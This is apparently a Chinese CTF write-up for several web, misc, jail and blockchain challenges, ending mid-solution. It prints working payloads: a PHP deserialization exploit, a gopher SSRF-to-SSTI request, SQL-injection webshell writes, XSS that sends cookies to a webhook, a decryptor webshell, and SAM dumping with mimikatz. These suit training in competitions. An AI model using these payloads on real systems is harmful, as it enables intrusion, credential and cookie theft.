这里大概可以猜到,看小写字母可以拼成important,然后_用来分割字符,!放在最后.搜索资料得到IIOT就是工业物联网,那么最后flag
flag{IIOT_important!}
日志分析:盲辨海豚 netA直接秒了
jail-evil eval 使用nc连接容器后,根据题目提示使用help()函数进入help() 交互模式,进入后直接看__main__ 模块
区块链:以太坊的约定 注册一个小狐狸钱包,一共有12个单词。第二问直接问ai就行
第三问使用以太坊 Sepolia 测试网的区块链浏览器,然后搜索0x949F8fc083006CC5fb51Da693a57D63eEc90C675第一笔交易
20240614
附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleOperation { function getResult() public pure returns (string memory) { uint a = 10; uint b = 5; uint sum = a + b; uint product = a * b; if (sum > product) { } return "solidity"; } }
这个代码直接看就行了,sum=15,product=50,那个if就是一个摆设,代码最后会返回solidity
flag{12_1145_20240614_solidity}
week4 web 小羊走迷宫 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include "flag.php"; error_reporting(0); class startPoint{ public $direction; function __wakeup(){ echo "gogogo出发咯 "; $way = $this->direction; return $way(); } } class Treasure{ protected $door; protected $chest; function __get($arg){ echo "拿到钥匙咯,开门! "; $this -> door -> open(); } function __toString(){ echo "小羊真可爱! "; return $this -> chest -> key; } } class SaySomething{ public $sth; function __invoke() { echo "说点什么呢 "; return "说: ".$this->sth; } } class endPoint{ private $path; function __call($arg1,$arg2){ echo "到达终点!现在尝试获取flag吧"."<br>"; echo file_get_contents($this->path); } } if ($_GET["ma_ze.path"]){ unserialize(base64_decode($_GET["ma_ze.path"])); }else{ echo "这个变量名有点奇怪,要怎么传参呢?"; } ?>
分析代码主要考察的是反序化还有非法传参,代码通过get传参传入参数,先base64解码然后反序列化,然后目标是读取flag.php。首先二分析链子
反序列化startPoint对象 → 触发__wakeup();
startPoint->direction设为SaySomething对象 → $way()触发SaySomething::__invoke();
SaySomething->sth设为Treasure对象 → __invoke()返回时将对象转字符串,触发Treasure::__toString();
Treasure->chest设为自身(或另一个 Treasure 对象) → __toString()访问key属性,触发Treasure::__get();
Treasure->door设为endPoint对象 → __get()调用open()方法,触发endPoint::__call();
endPoint->path设为flag.php → __call()读取flag.php内容
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class startPoint{ public $direction; } class SaySomething{ public $sth; } class Treasure{ protected $door; protected $chest; } class endPoint{ private $path; } // ========== 核心修复:使用反射赋值受保护/私有属性 ========== // 1. 构造endPoint对象,设置private的path属性 $end = new endPoint(); // 反射endPoint类,获取private的path属性 $refEnd = new ReflectionClass($end); $pathProp = $refEnd->getProperty('path'); $pathProp->setAccessible(true); // 解除私有属性访问限制 $pathProp->setValue($end, 'flag.php'); // 赋值为flag.php // 2. 构造Treasure对象,设置protected的door和chest属性 $trea = new Treasure(); // 反射Treasure类,获取protected的door属性 $refTrea = new ReflectionClass($trea); $doorProp = $refTrea->getProperty('door'); $doorProp->setAccessible(true); // 解除受保护属性访问限制 $doorProp->setValue($trea, $end); // door赋值为endPoint对象 // 设置protected的chest属性(指向自身) $chestProp = $refTrea->getProperty('chest'); $chestProp->setAccessible(true); $chestProp->setValue($trea, $trea); // chest赋值为自身 // 3. 构造SaySomething对象,设置public的sth属性(无权限问题) $say = new SaySomething(); $say->sth = $trea; // 4. 构造startPoint对象,设置public的direction属性 $start = new startPoint(); $start->direction = $say; // ========== 序列化并处理格式(无需手动替换转义符) ========== $ser = serialize($start); $b64 = base64_encode($ser); // 输出最终可直接使用的参数值 echo "需要传入的ma_ze.path参数值:<br>"; echo $b64; ?>
由于有protected属性还有private属性没办法直接赋值,这是使用反射方法绕过php属性访问权限。
payload
1 TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7Tzo4OiJlbmRQb2ludCI6MTp7czoxNDoiAGVuZFBvaW50AHBhdGgiO3M6NTc6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7fXM6ODoiACoAY2hlc3QiO3I6Mzt9fX0=
然后说传参问题参数名中含有点会被替换为下划线。ma_ze.path还被替换为ma_ze_path。
当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线
所以最后payload
?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7Tzo4OiJlbmRQb2ludCI6MTp7czoxNDoiAGVuZFBvaW50AHBhdGgiO3M6NTc6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7fXM6ODoiACoAY2hlc3QiO3I6Mzt9fX0=
武功秘籍 这个根据题目提示找一下cve漏洞就行,搜索dcrcms 文件上传漏洞,然后跟着步骤一步一步走就行,先进入后台管理界面,发现要输入密码,在源码有提示
一眼弱口令,爆破一下
admin/admin登入进入
新闻中心-添加新闻,上图片马然后该后缀
然后找到文件路径蚁剑连接就行
SSTI 在哪里? 分析题目给的附件通过index.php发起POST请求,去请求localhost:5000上的app.py,app.py通过POST的form接收到name参数转发给localhost:5001的第二个flask项目render_template_string函数中触发ssti
1 用户 → PHP前端(5000端口)→ Flask中转服务(5001端口)→ 内部/外部URL资源
很明显要用gopher协议发起POST请求,可能是赛后复现环境问题,一直没有回显,放一个payload
1 gopher://127.0.0.1:5000/_POST%20/%20HTTP/1.1%0D%0AHost:%20127.0.0.1:5000%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2038%0D%0A%0D%0Aname=%7B%7Blipsum.__globals__.os.environ%7D%7D
sqlupload 先分析题目给的附件,在start.sh中有
1 echo "secure_file_priv=\"\"" >> /etc/mysql/mysql.conf.d/mysqld.cnf
secure_file_priv为空很明显就是然写🐎的,分析代码得到在getFileList.php中
1 2 3 $sql = "SELECT id, filename, upload_time FROM uploads ORDER BY $order " ;
在这有个很明显得sql注入,利用这一点写马进去。这里有两种方法:
1.fields terminated by写马
由于在MySQL中,ORDER BY子句后面只能跟表达式、列名或函数,而不能直接跟一个完整的UNION SELECT语句。所以不能用union select写马,这时就可以使用fields terminated by,首先先上传一个文件
然后写🐎
1 2 /getFileList.php?order=id into outfile '/var/www/html/1.php' fields terminated by '<?php eval($_POST[1]);?>'
这个fields terminated by ‘‘就是将字段分隔符替换为一句话木马。
按照id排序后,这里字段分割符是逗号,而执行完后这里的逗号都会变为,写入1.php。然后就可以蚁剑连接了。连接后发现根目录得flag文件为空。那就打开终端,并不是root权限,看到readFlag直接执行得到flag
2.文件名写马
先上传一个文件名是一句话木马的文件
payload
1 /getFileList.php?order=id into outfile '/var/www/html/3.php'
由于文件名是木马,查询后就拿木马文件名写入了php文件,就可以rce了
小 E 的留言板 这一题主要考察的得到xss获得cookie,看了几篇wp,发现说的不是太详细,还有那个xss平台不能用了,新的xss平台我尝试了好像行不行。比赛跟这个复现环境还是有点不一样的,复现环境提供了 Webhook Receiver 的环境。同时结合比赛时给的提示
为了获取到小 E 浏览器内的 cookie,我们需要进行跨站脚本攻击(XSS)。一般 xss 需要逃逸出当前属性或标签,利用特殊标签(例如 script)或者属性(例如 onerror,onfocus 等)来执行 JavaScript。但并不是所有题目都能逃逸出标签从而引入恶意标签,因此可以考虑如何闭合属性并引入恶意属性来执行 JavaScript。
其次题目会有一些针对特殊字符或字符串的过滤,需要进行相应的绕过,常见的有大小写绕过,双写绕过等
看到留言板首先看看有没有waf,输入
1 <script > alert(1)</script >
script,< ,>被过滤,然后再进一步判断,script,<>,on,focus会被替换为空,关键字被替换可以用双写绕过,前端输入逻辑
1 2 3 4 5 6 7 <input type ="text" name ="message" placeholder ="输入您的留言..." value ="123" style ="width: 100%; background: transparent; border: none; padding: 0; font-size: 16px;" >
由于<>被过滤了,只能够在input标签内进行xss,这里就是用autofocus和onfocus结合来执行JavaScript代码。我们要获取的是cookie,就是需要用document.cookie来获取cookie
autofocus:页面加载完成后,自动将光标聚焦到该元素 (无需用户点击 / 操作),是 “自动触发” 的开关
onfocus:元素获得焦点时 (无论是自动聚焦还是手动点击),执行双引号内的 JavaScript 代码,是 “执行代码” 的入口
那么就可以构造payload了,有两种payload:
1 " autofofocuscus oonnfofocuscus="fetch('http://localhost:9000/webhook/0251724a/?'+document.cookie)
由于题目出网外带数据所以给了另一个环境,启动之后如图
用这个环境来接受数据
fetch:JavaScript 发送 HTTP 请求的方法,执行这行代码后,浏览器会向拼接好的攻击者地址发送一个 GET 请求,相当于把 Cookie 主动 “送” 给攻击者
这里要用”先闭合前面的value=”,执行后
可以看到啥也没有,最开始在这卡了,以为是payload不行类,看源码
1 2 3 4 5 6 7 <input type ="text" name ="message" placeholder ="输入您的留言..." value ="" autofocus onfocus ="fetch('http://localhost:9000/webhook/0251724a/?'+document.cookie)" style ="width: 100%; background: transparent; border: none; padding: 0; font-size: 16px;" >
其实已经写进去了,只是value被闭合了,然后再用report接口请求触发bot访问
这里进去就可以看到这个输入框是被自动点击了,说明我们的payload已经执行了,
然后看content就是flag
另一种payload是
1 " autofofocuscus oonnfofocuscus="var s=document.createElement('scrscriptipt');s.src=''http://localhost:9000/webhook/0251724a/;document.head.appendChild(s)
代码动态创建 <script> 标签,加载攻击者服务器上的恶意脚本,获取cookie,执行完
misc 应急响应:初识 登入后首先要搜集信息,看回收站,粘贴板,文件资源管理器中,查看是否显示隐藏项目,一定要勾选查看隐藏项目。
发现了可疑文件____.php文件,同时在回收站找到了副本文件
恢复还原,由于这个是webshell文件,直接双击打开会被windows安全中心删除,要么复制到本机中关掉杀软后查看,要么在靶机中的windows安全中心还原项目
文件内容是
1 2 3 4 5 6 7 8 9 10 <?php @error_reporting(0); function Decrypt($data) { $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING); } $post=Decrypt(file_get_contents("php://input")); @eval($post); ?>
连接密码是rebeyond。
在文件夹中找到的有一个工具
CreateHiddenAccount_v0.2.exe
这就是创建隐藏用户的工具,运行一下得到关键信息,工具版本为 v0.2,开源地址为github.com/wgpsec/CreateHiddenAccount
在github搜索该项目
可以看得到2022年1月18日发布的
查看隐藏账户
nEw5tar$
要获取用户哈希值就要用SAM文件和SYSTEM文件,
SAM文件存储密码哈希本身,但需要SYSTEM文件提供解密密钥二者缺一不可。
在Windows 系统运行状态下,SYSTEM和SAM文件都无法直接复制,原因是它们被系统进程以 “独占锁” 的方式占用;但可以通过注册表导出的方式获取其离线副本
reg save HKLM\SAM C:\Users\Administrator\Desktop\SAM.hiv
reg save HKLM\SYSTEM C:\Users\Administrator\Desktop\SYSTEM.hiv
导出后用mimikatz工具分析
lsadump::sam /system:SYSTEM.hiv /sam:SAM.hiv
1 2 3 RID : 000003e9 (1001) User : nEw5tar$ Hash NTLM: 7e5c358b43a26bddec105574bee24eef
这个使用somd5查不出来,就是用点手段把查出来是Ns2025
综上flag{rebeyond_2022-01-18_Ns2025}
流量分析:听声辩位 依旧netA神力
flag{blind_injection_Re@lly_Biggg!}
jail-Neuro jail 分析代码注入的 C++ 代码片段不能包含 :()[]{}<> 这些字符;代码长度≤200;最终 C++ 程序编译运行需输出 "NewStar!!!" 才能拿到 flag。输入的内容是base64编码的。
c++ 中要输出指定字符串,常规写法是 std::cout << "NewStar!!!";,但 <> 被黑名单拦截,因此需要绕过尖括号 ,在源代码中
1 2 std::string s = "NoWay"; std::cout << s;
最后执行逻辑
1 2 3 4 5 6 7 int main() { /* YOUR CODE HERE */ ← 你的代码插在这里 std::string s = "NoWay"; ← 这行在你后面 std::cout << s; ← 最后输出的是 s 的内容 return 0; }
看大佬的payload
std::string s = “NewStar!!!”; //\
反斜杠“\”用在行末是是续行符!编译器会把这一行的换行忽略,把下一行“接”到这一行后面,因而使下一行被忽略! 接在后面又有一个注释符,把std::string s = “NoWay”;注释了,然后就可以输出NewStar了
std::string s = “NewStar!!!”; //\要base64编码
c3RkOjpzdHJpbmcgcyA9ICJOZXdTdGFyISEhIjsgLy9cIA==
另外还有非预期解,只能说大佬还是太强了
把./flag当作头文件包含进来
payload:#include “./flag”
区块链:智能合约 .sol文件编译一下然后获取题目给出的地址
合约地址:0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08
创建文件后编译
编译后通过地址加载合约,0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08
进行unlock操作,输入0x0721
得到flag
flag{E4sy_S0lidity_D3v_F1a9_C0d3_4ud1t}
混乱的网站 首先看前端源代码,发现在misc模块有一个隐藏按钮
1 2 3 4 5 </div> <h3>Misc</h3> <p>杂项,包含隐写术、取证、编程、网络协议分析等多种类型挑战。</p> <button class="hidden-button" onclick="_return()">Click me</button> </div>
点击后会调用 _return()函数,但是没啥用,然后还有一个function.js
这里直接让ai写一个解密分析脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 import reimport base64def decode_hex_escape (hex_str ): """解码十六进制转义字符""" try : if hex_str.startswith('\\x' ): hex_str = hex_str[2 :] return bytes .fromhex(hex_str).decode('latin-1' ) except : return hex_str def extract_hex_strings (code ): """从代码中提取所有十六进制字符串""" hex_pattern = r'\\x[0-9a-fA-F]{2}' hex_strings = [] matches = re.findall(r'(?:\\x[0-9a-fA-F]{2})+' , code) for match in matches: hex_chars = re.findall(r'\\x([0-9a-fA-F]{2})' , match ) decoded = '' .join([chr (int (h, 16 )) for h in hex_chars]) hex_strings.append(decoded) return hex_strings def decode_base64_custom (encoded_str ): """解码Base64字符串(支持自定义解码表)""" try : decoded = base64.b64decode(encoded_str).decode('utf-8' , errors='ignore' ) return decoded except : try : decoded = base64.urlsafe_b64decode(encoded_str + '=' * (4 - len (encoded_str) % 4 )) return decoded.decode('utf-8' , errors='ignore' ) except : return "" def decrypt_obfuscated_js (js_code ): """主解密函数""" print ("=" * 60 ) print ("开始解密混淆的JavaScript代码" ) print ("=" * 60 ) array_patterns = [ r"var\s+([A-Za-z0-9$]+)\s*=\s*\[(.*?)\];" , r"var\s+([A-Za-z0-9$]+)\s*=\s*\[(.*?)\]\s*;" ] arrays = {} for pattern in array_patterns: matches = re.finditer(pattern, js_code, re.DOTALL) for match in matches: array_name = match .group(1 ) array_content = match .group(2 ) string_pattern = r"'(.*?)'|\"(.*?)\"" strings = [] for string_match in re.finditer(string_pattern, array_content): str_content = string_match.group(1 ) or string_match.group(2 ) strings.append(str_content) if strings: arrays[array_name] = strings print (f"\n发现数组: {array_name} " ) print (f"原始字符串: {strings} " ) decoded_strings = [] for s in strings: if '\\x' in s: hex_strings = extract_hex_strings(s) if hex_strings: decoded_strings.append(hex_strings[0 ]) else : decoded_strings.append(s) print (f"解码后: {decoded_strings} " ) print ("Base64解码结果:" ) for i, s in enumerate (decoded_strings): b64_decoded = decode_base64_custom(s) if b64_decoded: print (f" [{i} ] {s} -> {b64_decoded} " ) print ("\n" + "=" * 60 ) print ("分析函数定义:" ) print ("=" * 60 ) pick_pattern = r"function\s+_pick\s*\((.*?)\)\s*{(.*?)}" pick_match = re.search(pick_pattern, js_code, re.DOTALL) if pick_match: print ("找到 _pick 函数:" ) print (f"参数: {pick_match.group(1 )} " ) print (f"函数体: {pick_match.group(2 ).strip()} " ) b64_pattern = r"function\s+_b64decode\s*\((.*?)\)\s*{(.*?)}" b64_match = re.search(b64_pattern, js_code, re.DOTALL) if b64_match: print ("\n找到 _b64decode 函数:" ) print (f"参数: {b64_match.group(1 )} " ) func_body = b64_match.group(2 ).strip() if len (func_body) > 200 : print (f"函数体: {func_body[:200 ]} ..." ) else : print (f"函数体: {func_body} " ) print ("\n" + "=" * 60 ) print ("分析执行逻辑:" ) print ("=" * 60 ) exec_patterns = [ r"window\['_return'\].*?=.*?function.*?{(.*?)}" , r"window\['location'\].*?\['href'\].*?=.*?(.*?);" , r"window\['\\x5f\\x72\\x65\\x74\\x75\\x72\\x6e'\].*?=.*?function.*?{(.*?)}" ] for pattern in exec_patterns: matches = re.finditer(pattern, js_code, re.DOTALL) for match in matches: if match .group(1 ): exec_code = match .group(1 ) print (f"找到执行代码:" ) print (f"代码片段: {exec_code[:200 ]} ..." ) print ("\n" + "=" * 60 ) print ("模拟执行 _pick 函数:" ) print ("=" * 60 ) def simulate_pick (array, index ): return array[(index * 7 + 3 ) % len (array)] for array_name, array_values in arrays.items(): if len (array_values) >= 5 : print (f"\n模拟 {array_name} 数组:" ) for i in range (5 ): try : result = simulate_pick(array_values, i) print (f" _pick({array_name} , {i} ) = 索引 {(i*7 +3 )%len (array_values)} -> '{result} '" ) decoded = decode_base64_custom(result) if decoded: print (f" 解码后: '{decoded} '" ) except Exception as e: print (f" 错误: {e} " ) print ("\n" + "=" * 60 ) print ("提取所有可能的URL:" ) print ("=" * 60 ) url_patterns = [ r"window\['location'\].*?\['href'\].*?=.*?([A-Za-z0-9$]+)" , r"location\.href.*?=.*?([A-Za-z0-9$]+)" ] for pattern in url_patterns: matches = re.finditer(pattern, js_code) for match in matches: var_name = match .group(1 ) print (f"找到URL变量引用: {var_name} " ) return arrays def main (): obfuscated_js = """ (function(){var Aij$cmYht1=['\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x55\x76','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x6b\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x7a\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d'];var lot2=['\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d','\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d','\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b','\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d','\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a'];function _pick(CjQmMUp3,K$kHfNWZ4){return CjQmMUp3[(K$kHfNWZ4*7+3)%CjQmMUp3['\x6c\x65\x6e\x67\x74\x68']]}function _b64decode(qhC5){if(typeof atob==='\x66\x75\x6e\x63\x74\x69\x6f\x6e'){try{return atob(qhC5)}catch(e){}}var aVeUV6='\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';var LegKEfpY7='';qhC5=qhC5['\x72\x65\x70\x6c\x61\x63\x65'](/[^A-Za-z0-9\+\/\=]/g,'');for(var snkimliGd8=0;snkimliGd8<qhC5['\x6c\x65\x6e\x67\x74\x68'];){var d9=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var pTr10=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var Ghn11=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var IE12=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var pvoGIOqE_13=(d9<<2)|(pTr10>>4);var YOM14=((pTr10&15)<<4)|(Ghn11>>2);var _nvy15=((Ghn11&3)<<6)|IE12;LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](pvoGIOqE_13);if(Ghn11!==64)LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](YOM14);if(IE12!==64)LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_nvy15)}try{return decodeURIComponent(window["\x65\x73\x63\x61\x70\x65"](LegKEfpY7))}catch(e){return LegKEfpY7}}window['\x5f\x72\x65\x74\x75\x72\x6e']=function(){var uJSkGDiOs16=_pick(Aij$cmYht1,2);var VPa17=_pick(lot2,2);var qoLQjP18=_b64decode(uJSkGDiOs16);var KfPIM19=_b64decode(VPa17);window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=qoLQjP18;try{window['\x24']['\x24']=window[KfPIM19]}catch(e){window['\x24']['\x24']=undefined}}})(); """ print ("正在分析混淆的JavaScript代码...\n" ) arrays = decrypt_obfuscated_js(obfuscated_js) print ("\n" + "=" * 60 ) print ("最终解密结果:" ) print ("=" * 60 ) if 'Aij$cmYht1' in arrays and 'lot2' in arrays: a1 = arrays['Aij$cmYht1' ] a2 = arrays['lot2' ] decoded_a1 = [] for s in a1: hex_strings = extract_hex_strings(s) if hex_strings: decoded_a1.append(hex_strings[0 ]) decoded_a2 = [] for s in a2: hex_strings = extract_hex_strings(s) if hex_strings: decoded_a2.append(hex_strings[0 ]) pick_index = 2 pick_result1 = decoded_a1[(pick_index * 7 + 3 ) % len (decoded_a1)] pick_result2 = decoded_a2[(pick_index * 7 + 3 ) % len (decoded_a2)] print (f"_pick(Aij$cmYht1, {pick_index} ) = '{pick_result1} '" ) print (f"_pick(lot2, {pick_index} ) = '{pick_result2} '" ) url = decode_base64_custom(pick_result1) prop = decode_base64_custom(pick_result2) print (f"\n解码后URL: {url} " ) print (f"解码后属性: {prop} " ) print (f"\n最终执行结果:" ) print (f"重定向到: {url} " ) print (f"尝试设置: window['$$'] = window['{prop} ']" ) if __name__ == "__main__" : main()
可以看到主要内容在lot2数组,解码结果中的js_very_good应该就是flag1,接下来找flag2,dirsearch扫描目录发现有www.zip
解压后发现关键代码在dashboard.php
1 2 3 <?php eval (gzinflate (base64_decode ('hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwurgREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8=' ))); ?>
解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 <?php $base64_str = 'hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwurgREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8=' ;$decoded = gzinflate (base64_decode ($base64_str ));echo "<pre>" ;var_dump ($decoded );echo "</pre>" ;?>
解密后
